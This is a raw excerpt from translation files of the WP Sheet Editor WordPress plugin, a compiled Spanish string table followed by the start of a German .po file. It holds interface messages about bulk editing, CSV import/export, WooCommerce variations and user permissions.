habilitadasSeleccionar todasSeleccionar todos los productos de una búsquedaSelecciona la columna....Selecciona las columnas a importarSeleccionar columnas individuales a importarSeleccionar productos individualesSeleccionar producto....Selecciona el formato de las celdas, si las celdas deben ser de texto normal, un cargador de archivos o un editor de texto.Selecciona la información que quieres editar con el editor de hojas de cálculo.Selecciona el tipo de información utilizada en las celdas de esta columna.Selecciona las filas que quieres editar.Selecciona el tipo de ediciónSeleccionar...Enviar correo electrónicoEnviar un correo electrónico por filaEnviar un correo electrónico por usuarioSeparados por comasSeparadorSeparador de celdas de términos de taxonomíaArray serializadoEstablecer imagen destacadaConfigurar cientos de productos a la vez como sin existencias o en existencias¿Guardar con estado "Pendiente" si el guardado de la imagen destacada falló?Establecer valor aleatorioPonerle la misma imagen destacada a todos los posts de una categoríaGenerar hoja de cálculoEstablecer valorAjustesConfigurar página en el frontendGenerar hoja de cálculoSheet EditorClase de envíoDescripción cortaMostrar opciones avanzadasMostrar opciones avanzadas ¿Mostrar todos los estados de posts personalizados?Mostrar las celdas como texto simpleMostrar la clave de la columnaMostrar elementos publicados entre estas fechasMostrando las filas de la última sesión.Texto simpleDesplegable de selección simple¿Omitir las imágenes rotas?SlugVendido individualmenteSolución de errores rarosAlgunos cambios no han sido guardados todavía.Algunas columnas dependen de otros plugins. El sitio fuente y el sitio de destino deben usar los mismos plugins para que tengas las mismas columnasAlgunos plugins requieren compatibilidad especial y hemos creado estas extensiones que puedes descargar gratuitamente si compraste nuestro plugin.Algunos plugins ejecutan una tarea después de crear o actualizar una entrada. Por ejemplo, hay plugins que comparten tus nuevas entradas en tus perfiles sociales, otros plugins notifican a los usuarios después de que una entrada es actualizada, etc. Puede que haya un problema con esos plugins. Por ejemplo, si usas un plugin que comparte tus nuevos posts en tu cuenta de twitter y actualizas 100 posts en el editor de la hoja de cálculo, puedes terminar con 100 tweets compartidos en tu cuenta de twitter. Así que habilita esta opción si quieres actualizar / crear posts silenciosamente sin ejecutar esas funciones.Algunas filas fueron modificadas en segundo plano. Por favor, guarda los cambios y recarga la hoja de cálculo para ver los cambios.Algunas filas fueron modificadas en el fondo. Por favor, guarda los cambios antes de usar esta función.OrdenarOrdenar alfabéticamente ASCOrdenar alfabéticamente DESCFuenteVelocidad y rendimientoArchivos de la Hoja de CálculoAtributos de la Hoja de CálculoHoja de cálculo para %s %sVista de hojas de cálculoHojas de cálculo habilitadas para estos post typesLista de hojas de cálculoNavegación por la lista de hojas de cálculoProducto estándarComenzar desde este número de fila:Iniciar nueva exportaciónEstadoInventarioEstado del inventarioEl rol de suscriptor no está autorizado para utilizar el editor.¿Suspender la invalidación de la caché de objetos?EtiquetasEtiquetas (separadas por comas)Productos de destino no encontrados.Las columnas de taxonomía como las categorías de las entradas, las etiquetas de las entradas, etc. muestran los términos separados por comas, si usas comas en los nombres de las taxonomías, usa esta opción para cambiar el separadorDesplegado de taxonomíasMenú desplegable de taxonomías. Sólo si la fuente de datos = Términos del post.Desplegable de términos de taxonomíaEl elemento de la plantilla con ID %d no se ha encontrado o no se puede duplicar.ID del términoTérminosTextoEditor de texto (tinymce)Gracias por actualizar a la nueva versión del plugin.Gracias por usar nuestro editor de hojas de cálculoLa herramienta "Crear variaciones" te permite crear variaciones basadas en la combinación de atributos. El límite por defecto es de 200 variaciones para no sobrecargar tu servidor. Puedes aumentar el límite aquí si necesitas más variaciones.La columna "Precio normal" está oculta. Actívala en el gestor de columnas antes de realizar esta edición masiva.La función "Editor Masivo" te permite actualizar muchos posts a la vez
                  y puedes hacer muchas cosas interesantes, por ejemplo:La Hoja de cálculo está lista.La hoja de cálculo de productos de WooCommerce genera automáticamente las unidades de inventario y las estadísticas de precios de inventario y muestra las estadísticas encima de la hoja de cálculo. Esto puede ralentizar la hoja si tienes varios miles de productos. Desactívalo si la hoja de cálculo es demasiado lenta o ves errores al cargar las filas.El guardado automático falló: El servidor no está disponible o está sobrecargado. ¿Quieres intentarlo de nuevo?El cambio masivo ha sido editado con éxitoEl cambio masivo ha sido ejecutado. ¿Quieres recargar la página para ver los cambios?A la edición masiva le falta información importante, por favor, completa el formulario.El cambio masivo se está ejecutando. Por favor, no cierres esta ventana hasta que el proceso haya terminado.El cambio masivo fue ejecutado con éxito. Puedes cerrar esta ventana.La celda mostrará los valores como URLs y puedes editar en las celdas usando URLs completas, el ID del archivo o el nombre del archivo.
                  Las URLs externas se importan automáticamente en la biblioteca multimedia.
                  Guardaremos el valor en el formato seleccionado aquíLos cambios que estás a punto de realizar no son reversiblesLos cambios que estás a punto de realizar son irreversibles. Debes hacer una copia de seguridad de tu base de datos antes de proceder.Nombre de la columna que se muestra en la hoja de cálculoLa columna seleccionada no es válida.La columna aparecerá en la hoja de cálculo y en las exportaciones si el usuario tiene un rol con la capacidad requerida.La columna puede ser leía solo si el usuario no tiene un rol con la capacidad requerida.La forma predeterminada usa un método de ejecución más rápido, pero puede que no funcione en todos los casos. Usa esta opción cuando la forma predeterminada no funciona o no actualiza todas las filas.El editor sólo está disponible para usuarios registrados. Los usuarios desconocidos verán un formulario de inicio de sesión.Las variaciones existentes en los productos de destino no serán editadas ni sobrescritas.La función de exportación no es compatible con tu sitio web. Asegúrate de que WordPress y todos los plugins y temas estén actualizados.La exportación ha sido editada con éxitoEl archivo exportado no existe. Esto puede ocurrir por las siguientes razones:El archivo no existe. Ruta inválida: %sLos archivos no se pudieron guardar.La función de importación no es compatible con tu sitio web. Asegúrate de que WordPress y todos los plugins y temas estén actualizados.La importación ha sido editada con éxitoLa importación se ha completado.La importación sobrescribirá los ajustes existentes.El elemento no se ha podido guardar. Por favor, inténtalo de nuevo en otro momento.Clave que se utilizará para guardar la información en la base de datos. Debe ser única, sólo letras y guiones bajos.El último lote de importación falló debido a un error del servidor, es más probable que el servidor se haya sobrecargado.
                  1- Puedes intentar importar menos filas por lote (es decir, importar 2 filas cada pocos segundos).
                  2- Puedes iniciar una nueva importación, a veces intentarlo de nuevo funciona (usa los "Ajustes avanzados" en el paso 1 de la importación para empezar desde una fila específica).
                  3- Puedes incrementar la memoria php siguiendo este tutorial
                  4- Si el problema ocurre después de intentarlo con 1 fila por lote, puedes contactar con nosotros y te ayudaremos.La lista de archivos de Google Sheets se ha actualizado. Vuelve a buscar tu archivo.La carga está tomando demasiado tiempo?
                  1. Puedes esperar hasta que el proceso haya terminado.
                  2. Puedes El archivo de registro no existe.No se puede aplicar la fórmula matemática. Se ha encontrado un dato que no es numérico. Datos encontrados: %1$s, ID: %2$dEl campo meta no pudo ser eliminado.El campo meta fue eliminado con éxitoLa clave meta no pudo ser renombrada.La clave meta fue renombrada con éxitoLa opción de crear variaciones para cada combinación de atributos requiere WooCommerce 3.0 o superior. Por favor, actualiza WooCommerce.El plugin marcará como usados para variaciones todos los atributos que NO contengan estas palabras clave en la clave del atributo, ingresa varias separadas por comas. Por ejemplo, "coche, avión" coincidiría con "Modelo de coche, Marca de coche, Avión caro, Aviones". Esto se aplica después de editar un producto en las celdas de la hoja de cálculo.El plugin marcará como visibles todos los atributos que NO contengan estas palabras clave en la clave del atributo, ingresa varias separadas por comas. Por ejemplo, "coche, avión" coincidiría con "Modelo de coche, Marca de coche, Avión caro, Aviones". Esto se aplica después de editar un producto en las celdas de la hoja de cálculo.El plugin no se inicializará para los roles de usuario no seleccionados aquí.La vista previa está bien, iniciar importaciónLos valores aleatorios no pudieron ser leídos.El parámetro de búsqueda debe contener $current_value$ solamenteEl producto seleccionado no tiene variacionesEl servidor no pudo procesar nuestra solicitud. Por favor, inténtalo de nuevo más tarde.El servidor no aceptó nuestra petición. Mala solicitud. Por favor, intenta actualizar la página e inténtalo de nuevo.El servidor no aceptó nuestra petición. No tienes permisos para realizar esta acción. Por favor, inicia sesión de nuevo.El servidor ha excedido sus recursos asignados y no puede procesar nuestra solicitud.El servidor está ocupado y tardó demasiado en responder a nuestra petición. Por favor, inténtalo de nuevo más tarde.El servidor no está disponible o está sobrecargado. ¿Quieres intentarlo de nuevo?El servidor no está disponible o está sobrecargado. Por favor, inténtalo de nuevo más tarde.El servidor no pudo procesar nuestra petición. Error del servidor. Por favor, inténtalo de nuevo más tarde.El producto fuente no tiene variaciones.La hoja de cálculo genera automáticamente columnas para los campos serializados, pero esto puede utilizar muchos ciclos de CPU dependiendo del número de campos serializados. Puedes deshabilitar esta característica si la hoja es demasiado lenta para cargar o si obtienes errores al cargar las filas o no quieres ver las columnas con el prefijo "SEIS".El editor de hojas de cálculo puede ser usado para editar tus %s de WordPress.El editor de hojas de cálculo es muy potente y tiene muchas características. En este paso puedes habilitar las funciones que necesites.La hoja de cálculo carga sólo las "filas visibles" por razones de rendimiento, por lo que cuando te desplazas hacia arriba o hacia abajo las filas se cargan dinámicamente. De esta manera puedes "abrir" miles de posts en la hoja de cálculo y funcionará rápido. Sin embargo, si quieres usar la búsqueda del navegador para encontrar una celda específica, necesitas deshabilitar la carga perezosa para cargar todas las filas a la vez y el navegador será capaz de encontrar las celdas. La búsqueda en el navegador no funciona por defecto porque sólo se crean las "filas visibles".Las variaciones son para este/estos producto(s): Estas opciones serán incluidas en la exportación e importación:Esto se puede utilizar si el valor de la celda será siempre una URL, por lo que la celda se mostrará como de sólo lectura y contendrá un botón que abrirá la URL a partir del valor de la celda.Este color se utilizará como fondo para el encabezado y el pie de página.Este color se utilizará para los enlaces del menú, debe ser el opuesto del color de fondo, es decir, fondo oscuro con texto claro, o fondo claro con texto oscuroEsta columna es sólo para los productos padre, las variaciones no usan este campoEsta columna es sólo para las filas de variaciones, los productos padre no usan este campoEsta función está disponible como una extensión premium.Este formato sólo permitirá a los administradores con la capacidad unfiltered_html guardar cualquier HTML en esta columna, seguiremos eliminando las etiquetas html no seguras cuando los no administradores guarden valores en esta columna.Esto es sólo para usuarios avanzados o si nuestro equipo de soporte te pide que uses esta opción. Tenemos dos maneras de manejar los campos serializados: el antiguo controlador (usado por defecto, que tiene limitaciones) y el controlador de serialización infinita (mejor, no está activo por defecto para no romper integraciones anteriores). Utiliza esta opción si tienes campos serializados que se guardan incorrectamente o no aparecen en la hoja de cálculo.Esto es opcional. Déjalo vacío para usar el nombre de las URLs. Ingresa varios nombres separados por comas.Esta es una etiqueta dinámica para esta columna. Puedes copiar esto y usarlo en la herramienta de edición masivaEste logotipo se mostrará encima de la hoja de cálculo en el frontendEste menú se mostrará en la parte superior derecha de la hoja de cálculo.Esto puede ayudar si la hoja de cálculo no carga filas o si las filas aparecen vacías.Esta opción te permite indicar qué posts utilizar como plantillas para campos serializados específicos. Ingresa la clave del campo y el ID del post separados por dos puntos. Por ejemplo: serialized_key1:89, serialized_key2:90Esta opción aplica solo si estás importando la columna de imagen destacada y falla el guardado de la imagen.Esto se mostrará cuando el usuario actual no esté conectado e intente ver una página de hoja de cálculo. Mostraremos un formulario de inicio de sesión después del mensaje.Esto borrará las filas de tu base de datos completamente y la única manera de deshacer este cambio es restaurar una copia de seguridad. Por favor, haz una copia de seguridad en caso de que puedas necesitar deshacer esto después.Esto desconectará tu cuenta de Google de WP Sheet Editor, lo que detendrá todas las tareas de sincronización configuradas con esa cuenta de Google en todos tus sitios de WordPress. Sin embargo, otros usuarios pueden conectar su propia cuenta de Google, por lo que las tareas de sincronización de otros usuarios vinculadas a sus propias cuentas de Google no se verán afectadas. ¿Estás seguro de que quieres desconectar tu cuenta de Google por completo?Esto ocultará la opción "ayuda" de la barra de herramientas superiorEsto te ahorrará {clicks_count} clics :)Separador de milesTiempo ahorrado
                  (estimado)Unidad de tiempoEditor TinyMCEConsejo. Si has editado información de este sitio, debes importar las columnas editadas y el record_id. No importes columnas que no hayan sido modificadasConsejo: Podemos ayudarte con la configuración de la hoja de cálculo. Obtén ayuda instantánea en el chat en vivo en horas de oficina.Consejo. Puedes usar la herramienta "Exportar" para descargar un archivo CSV y ver las columnas y el formato disponibles.
                  Puedes leer nuestra documentación aquí.TítuloPara buscar entre todos los posts, usa la herramienta de búsqueda. Se usa para localizar y resaltar un valor en las filas cargadas en la hoja de cálculo. Es decir, resaltar un SKU, correo electrónico o título específico.Herramientas sobre la tabla.Ventas totalesTraducir por separadoHabilita esto y la hoja de cálculo guardará los cambios hechos en las celdas cada 2 minutos. Cuidado: Esto puede causar problemas si los cambios se guardan prematuramente antes que termines de editar todas las columnas requeridas.TutorialTipoURLURL SlugHTML sin filtrarDeseleccionar todasDeseleccionar todas las columnasActualizar las filas existentes, ignorar las filas nuevasActualiza el valor existente con el resultado de una operación matemática.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Actualizar ajustes¿Actualizar la tabla de consulta y ejecutar siempre los Webhooks de WooCommerce?Subir imagenSubir el archivoSubir los archivosSubido por este usuarioSubido a este elementoVentas dirigidasEstadísticas de usoUsar una lista infinita en lugar de la paginaciónUsar como imagen destacadaUsar por defecto¿Usar la paginación en la hoja de cálculo?Usar los precios del producto simple (Padre) para las variaciones¿Usar columnas separadas para las imágenes durante la exportación e importación?¿Usar un método de ejecución más lento?Usa este editor para editar sólo el contenido, otros campos como etiquetas y categorías deben ser editados en la hoja de cálculo.¿Usado para variaciones?¿Usado para variaciones?Capacidades de usuario que pueden leer esta columnaCapacidades del usuario que pueden leer esta columnaDesplegable de usuarioUsuario no autorizadoUsuario no autorizado para editar las filasRoles de usuarioRoles de usuario que pueden utilizar el editor de hojas de cálculoNombre de usuarioUsuariosUsando esta herramienta puedes editar miles de filas a la vezValorEl valor en la sección de reemplazo no es válidoDescripción de la variación¿Variación habilitada?Variación: %sGestor de VariacionesLas variaciones no usan URL slugs pero esto puede ser útil si quieres ver la URL anterior de la variación después de convertir un producto simple en una variación.VendedorVerVer ExtensionesVer GaleríaVer la Hoja de CálculoVer las Hojas de CálculoVer extensionesVer registroVirtualVisibilidadEditor de WPWP Sheet EditorUso de WP Sheet EditorWPBakery Page BuilderWPML - DuplicarWPML - IdiomaWPML - Faltan traducciones en estos idiomasWPML - RelaciónWPML - Traducción deWPML - Prioridad de traducciónAdvertencia: Por favor, haz una copia de seguridad en caso de que quieras deshacer los cambios después.Ver tutorialEstamos guardando ahora. No cierres esta ventana hasta que el proceso haya terminado.Automáticamente, permitimos la edición de columnas en filas de variaciones si al menos una variación usa ese campo.Detectamos todas las columnas automáticamenteRedondeamos automáticamente a 2 decimales. Puedes ingresar cualquier número aquí, por ejemplo, 1 para redondear a 1 decimalPodemos escanear la base de datos, encontrar nuevos campos y crear columnas automáticamente para los campos soportados.No encontramos filas a exportar. Por favor, intenta con otra búsqueda.No encontramos filas a actualizar a partir de la consulta de búsqueda. Por favor, intenta otra búsqueda.No encontramos variaciones para copiar.Encontraremos filas con el mismo valor en la Columna en el CSV y en el Campo en WP.
                  Por ejemplo, productos con el mismo SKU o ID.Encontramos columnas similares. ¿Quieres aplicarles la misma acción? {columns}Tenemos CIENTOS de tutoriales y guías en nuestro blogTenemos una extensión para mostrar esta hoja de cálculo en el frontend. Puedes seleccionar las columnas a mostrar, y seleccionar las herramientas de hoja de cálculo para los usuarios de frontend (búsqueda, edición masiva, importación, exportación, etc.). Por ejemplo:Importamos el archivo por lotes (es decir, 4 filas cada cierta cantidad de segundos). Cuando un lote falla, normalmente pausamos la importación y te preguntamos si quieres volver a intentarlo o cancelar la importación. Selecciona esta opción para ejecutar el reintento automático. Cuidado: Hay que seleccionar la opción de actualizar las filas existentes en el paso 3 de la importación, para que podamos reintentar y omitir lo que se importó con éxito y sólo reintentar lo que falló. Si no se selecciona la opción de actualizar en el paso 3 de la importación, cada reintento podría duplicar algunas filas previamente importadas.Limitamos la lista de campos a 1000 meta campos para evitar pérdidas de memoria/problemas de rendimiento. Si quieres buscar por un campo que no aparece en el desplegable, aumenta este número.Limitamos las columnas de la hoja de cálculo por razones de rendimiento para evitar cargar miles de columnas en la hoja de cálculo. Puedes aumentar este límite si quieres visualizar más columnas. Predeterminado: 310Necesitamos recargar la hoja de cálculo para eliminar las variaciones. Por favor, guarda los cambios primero o los perderás. ¿Quieres recargar ahora?Necesitamos recargar las filas de la hoja de cálculo para cargar las variaciones. Por favor, guarda los cambios primero o los perderás. ¿Quieres recargar ahora?Te recomendamos que crees un mensaje que parezca escrito personalmente, debes añadir tu logotipo, mensaje y firma de correo electrónico. Puedes utilizar variables para insertar el valor de cualquier columna.Mostramos una ventana emergente pidiéndote que instales extensiones gratuitas cuando detectamos que estás utilizando un plugin de terceros que requiere una compatibilidad especial, lo que nos ayuda a evitar errores.Usamos la paginación para usar pocos recursos del servidor. Cargamos 20 filas primero y 20 más cada vez que se desplaza hacia abajo. Puedes aumentar este número para cargar más filas por página. CUIDADO. Cargar más de 200 filas por página podría sobrecargar tu servidor. Si detectamos que el servidor está sobrecargado, automáticamente se restablecerá a 10 filas por página.Usamos la paginación. Por defecto cargamos 20 filas por página (cada vez que te desplazas hacia abajo). Puedes aumentar el número para cargar más filas cada vez que te desplazas hacia abajo.Añadiremos el nuevo archivo al inicio de los archivos existentes en los productos. Ingresa sólo la URL del archivo, puedes ingresar múltiples URLs separadas por comas.Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) existente(s).Crearemos columnas para estos atributos personalizados.Borraremos este campo meta de la base de datos y perderás los valores guardados en este campo en todas las filas. Deberías hacer una copia de seguridad para poder restaurarla en el futuro. ¿Quieres continuar con la eliminación?Borraremos este campo serializado, incluyendo todos sus subcampos, de la base de datos y perderás los valores guardados en este campo en todas las filas. Deberías hacer una copia de seguridad para poder restaurar en el futuro. ¿Quieres continuar con la eliminación?Mostraremos todas las columnas que fueron borradas o deshabilitadas, las columnas renombradas mostrarán los títulos originales, volveremos a escanear la base de datos para encontrar las columnas de nuevo, y los ajustes avanzados y de velocidad se restablecerá a los valores predeterminados. Esto sólo afecta a la configuración de nuestro plugin y no afecta a los datos editados con la hoja de cálculo.No ejecutaremos nuestra eliminación de filas duplicadas cuando se permitan los saltos de línea, por lo que es posible que veas filas duplicadas en los archivos de exportación en casos excepcionales.Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) multimedia existente(s).Eliminaremos todas las etiquetas html por defecto. Habilita esta opción para permitir etiquetas html seguras, como b, span, i, etc.Reemplazaremos el archivo multimedia existente con este archivo.Reemplazaremos el/los archivo(s) multimedia existentes con este/estos archivo(s).Sustituiremos los términos existentes por estos términos.Guardaremos la consulta de búsqueda actual y la configuración de la exportación, y podrás ejecutar esta exportación con un solo clic en el futuro usando el desplegable del menú de exportaciónGuardaremos estos archivos. Los archivos existentes se sobrescribirán. Ingresa sólo la URL del archivo. Puedes ingresar múltiples URLs separadas por comas.Guardaremos este grupo de columnas como una vista de la hoja de cálculo y podrás cambiar entre vistas en la barra de herramientasRecargaremos la hoja de cálculo cuando cambies esta opción.Ordenaremos las filas de la hoja de cálculo según este campo. Te recomendamos ordenar por campos que tengan valores en todas las filas para obtener resultados más precisos. Por ejemplo, es mejor ordenar 1k productos por Título ASC porque sabes que todas las filas se ordenarán con precisión, pero si ordenas 1k filas por SKU, las 500 filas con SKU se ordenarán correctamente pero las 500 filas sin SKU podrían tener un orden aleatorio ya que no tenemos ningún valor para ordenarlas con precisión.SemanasPeso (kg)Bienvenido a WP Sheet Editor¿Qué aplicación usarás para editar este archivo CSV? (opcional)¿Qué atributo quieres editar?¿Qué formato de celda se debe utilizar para las columnas de taxonomía?¿Qué columnas quieres exportar?¿Qué componente necesitas?¿Qué formato de fecha quieres mostrar en la hoja de cálculo?¿Qué formato de fecha quieres guardar en la base de datos?¿Qué formato de fecha y hora quieres que se muestre en la hoja de cálculo?¿Qué campo quieres editar?¿Qué información quieres editar en el frontend?¿Qué post types requieren esta columna en la hoja de cálculo?¿Qué ajuste quieres cambiar?¿Qué valor se guarda cuando la casilla de verificación está marcada?¿Qué valor se guarda cuando la casilla de verificación está desmarcada?Novedades en WP Sheet EditorCuando se carga la hoja de cálculo y guarda el contenido de las filas, la ejecutamos a través de wpautop para evitar problemas de saltos de línea. Puedes deshabilitar esto si no quieres ver/guardar las etiquetas p en el contenido.Cuando se carga la hoja de cálculo, la abrimos en pantalla completa y tienes la opción de salir del modo de pantalla completa. Habilita esta opción y no abriremos la hoja en pantalla completa.Cuando esta opción está habilitada, se cargarán más elementos en la parte inferior de la hoja de cálculo cuando llegues al final de la páginaCuando esta opción está habilitada, se cargarán más filas en la parte inferior de la hoja de cálculo cuando llegues al final de la página. También puedes habilitar/deshabilitar en la hoja de cálculo.Cuando esta opción está habilitada, las variaciones de los productos se mostrarán y podrás editarlas.Cuando borras entradas, páginas, eventos, productos, pedidos, cupones, y otros post types, puedes seleccionar cuántas filas borraremos por lote. Usa un número mayor para finalizar más rápido, pero pudiera saturar tu servidor. Predeterminado: 500Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. Pero tu servidor no puede manejar todos los lotes uno tras otro, así que necesitamos esperar unos segundos después de cada lote para darle a tu servidor un pequeño descanso. El valor recomendado es de 6 segundos, puedes ajustarlo como mejor te convenga. Si obtienes errores al guardar, deberías aumentar el número para dar a tu servidor un descanso más largo después de cada lote.Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. El valor recomendado es 4 , lo que significa que procesaremos sólo 4 filas a la vez. Puedes ajustarlo como mejor te convenga. Si se producen errores al guardar, deberías reducir el númeroCuando termines de descargar los plugins, tienes que ir a wp-admin > plugins > añadir nuevo e instalarlos.Cuando termines este paso puedes empezar a usar el editor frontend. Puedes añadir la página frontend a un menú o compartir el enlace con tus usuarios.Cuando tengas 1000 filas , puede que quieras abrir la hoja de cálculo y empezar a editar desde las fila 200. Esta opción te permite saltar muchas filas. IMPORTANTE. Usamos la paginación, así que mostraremos la página más cercana a ese número. Por ejemplo, si cargas 10 filas por página e ingresas 1205 como desplazamiento, la hoja comenzará desde la página 120 (índice 1200) porque es la página más cercana al desplazamiento definido.Cuando se importa una imagen mediante URLs de FTP, la imagen se importa cada vez y puedes terminar con duplicados en la biblioteca multimedia. Habilita esta opción para reutilizar las imágenes de la biblioteca multimedia con el mismo nombre de archivo y evita descargar la imagen FTP de nuevo en futuras importaciones. Desactiva esta opción si quieres mantener las imágenes actualizadas en futuras importaciones.Cuando cargas la hoja de cálculo, obtenemos todas las columnas a la vez de la base de datos para hacerlo más rápido, esto se llama prefetch. Esto puede causar problemas si tienes miles de columnas o configuraciones raras en tus bases de datos.Cuando abres la hoja de cálculo, cargamos las filas automáticamente para que puedas empezar a editar de inmediato. Habilita esta opción si quieres buscar filas y cargarlas manualmente.Cuando usas una red multisitios y borras usuarios en la hoja de cálculo de usuarios, por defecto solo removemos el usuario del sitio actual. Habilita esta opción para eliminar al usuario de toda la red.¿Qué duplicados quieres eliminar?¿Qué filas quieres exportar?¿Qué variaciones quieres copiar?AnchuraCon nuestro editor podrás editar toda la información de
                  tus %s, ahorrándote mucho tiempo.Con estos archivosCon estoCon este archivoCon este términoWooCommerce - Integración BASICAIntegración con Productos WooCommerceCupones WooCommerceHoja de Cálculo de Cupones de WooCommerceHoja de Cálculo de Clientes de WooCommerceHoja de Cálculo de Pedidos de WooCommerceProductos WooCommerceCampo en WordPressCampo en WordPressWordPress utiliza la API de heartbeat para comprobar el estado de inicio de sesión cada pocos segundos. Esto puede sobrecargar el servidor, ya que podría hacer cientos de peticiones cuando se está editando en la hoja de cálculo. Puedes deshabilitarla para reducir el estrés en tu servidor mientras editas en la hoja de cálculo. Sin embargo, si mantienes la hoja de cálculo abierta durante varios días, tu sesión de inicio de sesión puede caducar y no se te notificará si dehabilitas el heartbeat, lo que puede causar problemas al guardarla. Así que usa esta opción sólo cuando uses la hoja de cálculo durante unas pocas horas.Tipo de escritura no permitida.Formato de datos incorrectoExtensión del archivo incorrecta. Sólo aceptamos archivos CSVURL del archivo incorrectaTipo de producto equivocado. Asegúrate que sea un producto variable.XYOAST SEOAñosSíSí, eliminar todo lo que aparece después del texto, incluyendo el textoNo puedes realizar esta acción. Por favor, recarga la página o inicia sesión de nuevo.Puedes habilitar esta opción si quieres añadir clases html, y usar esas clases html para cambiar los colores de las celdas para cada estado usando CSS personalizadoPuedes cambiar el idioma de esta entrada. Si existe la traducción para el nuevo idioma, este cambio no se aplicará.Puedes convertir productos simples en productos variables. Puedes copiar las variaciones en un producto simple y mantener los precios del producto simple en las variaciones.Puedes crear nuevas filas aquíPuedes hacer esto varias vecesPuedes editar tu información multimedia como:Puedes editar la información de tus productos WooCommerce como:Puedes encontrar todos los ajustes aquí, como la visibilidad de las columnas, etc.Puedes leer nuestras Preguntas Frecuentes con una lista de cientos de preguntasPuedes cambiar el tamaño del editorPuedes buscar por cualquier campo usando operadores. Por ejemplo: precio > 100, imagen != (vacío)Puedes seleccionar las filas a editar en la primera opción de este formulario.Puedes empezar a usar el editor de hojas de cálculo en sólo 5 minutos. Por favor, sigue estos pasos.Puedes utilizar variables para insertar el valor de cualquier columna.No tiene suficientes permisos para borrar filas.No tienes suficientes permisos para crear nuevas filas.No tienes suficientes permisos para realizar esta acción.No tienes suficientes permisos para ejecutar esta acción.No tienes suficientes permisos para cargar filas.No tienes suficientes permisos para guardar los cambios.No tienes suficientes permisos para buscar taxonomías.No tienes suficientes permisos para ver esta página.Ingresaste una formula inválida. Por favor, verifica otra vez o contáctanos.Has modificado filas. Por favor, guarda los cambios porque actualizaremos la hoja de cálculo.Has modificado filas. Por favor, guarda los cambios porque actualizaremos la hoja de cálculo. ¿Quieres recargar ahora?Has modificado filas. Por favor, guarda los cambios antes de eliminar columnas de la hoja de cálculo.Debes ingresar un nombre de archivo en este campo (no la ruta completa) y subir el archivo a la carpeta %sDebes ingresar la jerarquía completa como padre > hijoTienes que configurar la API key de Google Maps para poder guardar valores en las columnas de mapas de Advanced Custom Fields. Esto es requerido por Advanced Custom Fields, puedes seguir este tutorialNecesitas cargar las filas manualmente porque desactivaste la carga automática de filas. Cambiar los ajustesNecesitas iniciar sesión para ver esta página.Necesitas establecer un logotipo en la página de ajustes. Opcionalmente, puedes cambiar el color de fondo, el color de los enlaces y establecer un menú de navegación de la cabecera.Seleccionaste 0 filas para borrarlas completamente.Seleccionaste una columna del archivo CSV de abajo, pero la columna no está
                  siendo importada. Por favor, ve al paso anterior y selecciona la columna a importar.
                  Ejemplo hipotético, si quieres actualizar productos existentes con el mismo ID, necesitas importar la columna ID, de lo contrario no tenemos los ID para encontrarlos.Podrás escribir números sin formato, por ejemplo: 999999.88 o 100, y los guardaremos automáticamente con formato. Esta conversión se producirá cuando guardes y no en directo cuando edites en las celdas y verás los valores modificados en la siguiente recarga de la hoja de cálculo.Podrás escribir el título de la entrada en la celda y ésta mostrará un desplegable con sugerencias.Podrás escribir el nombre del término en la celda y ésta mostrará un desplegable con sugerencias.Podrás escribir el nombre de usuario en la celda y ésta mostrará un desplegable con sugerencias.El servidor no ha podido procesar este lote. ¿Quieres intentarlo de nuevo?Tu servidor no fue capaz de procesar este lote. ¿Quieres intentarlo de nuevo? Puedes volver a intentarlo 3 veces, y si los 3 intentos fallan, pararemos la importación completamente.vacíoEs destacado?oFecha finalSe eliminaron {deleted} duplicados.{total_created} de {total} variaciones han sido creadas.Se combinaron {updated} atributos.Se han guardado {updated} elementos de {total} elementos que necesitan guardarse.modules/wp-sheet-editor/lang/vg_sheet_editor-de_DE.po000064400000726754147600365160016662 0ustar00msgid "" msgstr "" "Project-Id-Version: WP Sheet Editor 2.21.3\n" "Report-Msgid-Bugs-To: \n" "Language-Team: Hanno Bolte IT Consulting \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "POT-Creation-Date: 2020-10-20T18:06:58+00:00\n" "PO-Revision-Date: 2020-11-06 09:41+0100\n" "X-Generator: Poedit 2.4.1\n" "Last-Translator: Hanno Bolte \n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "Language: de_DE\n" #: acf/acf.php:584 msgid "Enter a title" msgstr "Titel eingeben" #: advanced-filters/advanced-filters.php:49 #: advanced-filters/advanced-filters.php:75 #: columns-manager/inc/column-groups.php:276 #: columns-resizing/columns-resizing.php:63 #: columns-visibility/columns-visibility.php:210 formulas/formulas.php:470 #: formulas/formulas.php:488 formulas/formulas.php:507 #: spreadsheet-setup/spreadsheet-setup.php:283 #: universal-sheet/universal-sheet.php:108 woocommerce/inc/attributes.php:553 #: woocommerce/inc/downloadable.php:334 woocommerce/inc/downloadable.php:354 #: woocommerce/inc/variations.php:1330 woocommerce/inc/variations.php:1350 #: wp-sheet-editor/dev/inc/api/editor.php:212 #: wp-sheet-editor/dev/wp-sheet-editor.php:936 #: wp-sheet-editor/dev/wp-sheet-editor.php:950 #: wp-sheet-editor/dev/wp-sheet-editor.php:961 msgid "You dont have enough permissions to view this page." msgstr "Du hast nicht genügend Berechtigungen, um diese Seite anzuzeigen." #: advanced-filters/advanced-filters.php:133 msgid "Save this search" msgstr "Diese Suche speichern" #: advanced-filters/advanced-filters.php:134 msgid "Enter a name..." msgstr "Namen eingeben..." #: advanced-filters/advanced-filters.php:421 msgid "Parent" msgstr "Übergeordnet" #: advanced-filters/advanced-filters.php:595 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 msgid "Enter %s" msgstr "%s eingeben" #: advanced-filters/advanced-filters.php:595 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 msgid "Enter the names of " msgstr "Die Namen eingeben von " #: advanced-filters/advanced-filters.php:596 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:40 msgid "Category name..." msgstr "Name der Kategorie..." #: advanced-filters/advanced-filters.php:605 #: advanced-filters/advanced-filters.php:663 #: advanced-filters/advanced-filters.php:698 filters/filters.php:379 #: filters/filters.php:395 msgid "Select..." 